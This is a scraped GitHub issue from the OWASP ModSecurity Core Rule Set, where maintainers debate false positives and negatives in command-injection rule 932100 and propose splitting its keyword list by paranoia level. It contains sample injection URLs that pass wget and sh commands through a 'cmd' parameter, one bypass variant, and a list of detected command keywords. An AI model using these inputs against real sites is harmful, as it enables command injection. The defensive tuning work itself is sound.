question-mark
Stuck on an issue?

Lightrun Answers was designed to reduce the constant googling that comes with debugging 3rd party libraries. It collects links to all the places you might be looking at while hunting down a tough bug.

And, if you’re still stuck at the end, we’re happy to hop on a call to see how we can help out.

Improve System Command Injection rule (932100)

See original GitHub issue

_Issue originally created by user lifeforms on date 2016-03-25 17:58:06. Link to original issue: https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/318._

Rule 932100 seems to hit a lot of false positives as well as false negatives. I’ll copy some comments from the mailinglist so we can revisit this as necessary. If I missed or represented some comments please add to this issue.

Summary of problems:

  • false positives due to common words, however some words are essential to attack detection
  • false negatives due to regexp
  • false negatives due to missing commands like passwd

Christian said: This rule is controversial for different reasons than the one in the previous post. It was a simple regex in 2.2.X. For 3.0.0 it has been enriched with a data file.

In a response to my blogpost Chaim conceded the 3.0.0 version is still plagued by a lot of false positives. Obviously so, if you look at the commands. After all, unix commands are close to natural English for a good reason.

Now Franziska (collaborating on the paranoia mode) and I wonder if it would not make sense to split os-commands.data into two or more files. The commands with few false positives would remain in the standard file, commands generating lots of false positives could then be moved into os-commands-paranoia.data and be referenced in a separate rule copying the behaviour of the standard rule.

My reaction: I like the idea of splitting the file. Overall I’m not satisfied with this new rule yet. I think the regexp needs some love too. I agree some of the words in os-commands.data seem rather paranoid. Words like “choice”, “help”, "now” seem of low value and are common in natural text. Also, the large number of Unix-only environments could skip Windows related commands. It’s hard for users to modify these lists as you’d have to hack the CRS, and these huge collections are to maintain anyhow, so I agree we need granularity.

The rule has some regexp magic to prevent false positives, but the balance is not a complete success in my opinion. For instance, the following URLs don’t trigger in CRSv3: http://vuln/?cmd=wget%20http://example.com/blah.txt http://vuln/?cmd=sh%20blah.txt

So it’s not as strong as you would want either to prevent some common RCE. Something like http://vuln/?cmd=Wget%20http://example.com/;%20ecHo does trigger it.

Christian produced some statistics and a possible resolution:

1 : open
1 : replace
1 : set
1 : sort
1 : type
1 : where
2 : cat
2 : now
2 : sed
2 : tree
2 : which
3 : color
3 : git
3 : head
3 : history
3 : net
5 : diff
5 : format
5 : time
6 : echo
9 : ver
11 : choice
11 : share
15 : for
16 : rm
21 : arch
22 : start
22 : top
24 : ren
27 : local
29 : query
32 : nc
40 : dir
41 : sh
42 : su
45 : sc
56 : cmd

So maybe we face 3 groups of commands:

  • entries without many FPs -> PL1
  • entries with many FPs, but not very dangerous -> PL2 or higher
  • entries with many FPs, but very dangerous -> separate regex rule in PL1 which deals with the FPs

Walter addition: I’m also still interested in splitting off the Windows batch commands to a separate rule. We could tag it platform-windows, this will surely cut down on false positives.

Issue Analytics

  • State:closed
  • Created 3 years ago
  • Comments:34

github_iconTop GitHub Comments

1reaction
CRS-migration-botcommented, May 13, 2020

User lifeforms commented on date 2016-07-10 10:14:05:

dune73 Cool! This past week was super hectic, but I’m going to work on the rule today. I’ll have a look at the presentation 😃

0reactions
CRS-migration-botcommented, May 13, 2020

User lifeforms commented on date 2016-08-02 19:54:34:

Closing this, any further discussion is in #430

Read more comments on GitHub >

github_iconTop Results From Across the Web

Improve System Command Injection rule (932100) · Issue #318
Rule 932100 seems to hit a lot of false positives as well as false negatives. ... Improve System Command Injection rule (932100) #318....
Read more >
ModSecurity CRS Rule Group 932 Application Attack RCE
Checks for application attacks using Remote Code Execution (RCE). ... 932110 This rule detects Windows shell command injections. 932106 Remote Command ...
Read more >
The Top 5 Ways CRS Can Help You Fight the OWASP Top 10
The CRS - short for OWASP ModSecurity Core Rule Set - is a set of generic attack detection rules. They are meant for...
Read more >
Command Injection - OWASP Foundation
Description. Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable...
Read more >
Web Application Firewall DRS rule groups and rules
This article provides information on Web Application Firewall DRS rule groups and rules.
Read more >

github_iconTop Related Medium Post

No results found

github_iconTop Related StackOverflow Question

No results found

github_iconTroubleshoot Live Code

Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start Free

github_iconTop Related Reddit Thread

No results found

github_iconTop Related Hackernoon Post

No results found

github_iconTop Related Tweet

No results found

github_iconTop Related Dev.to Post

No results found

github_iconTop Related Hashnode Post

No results found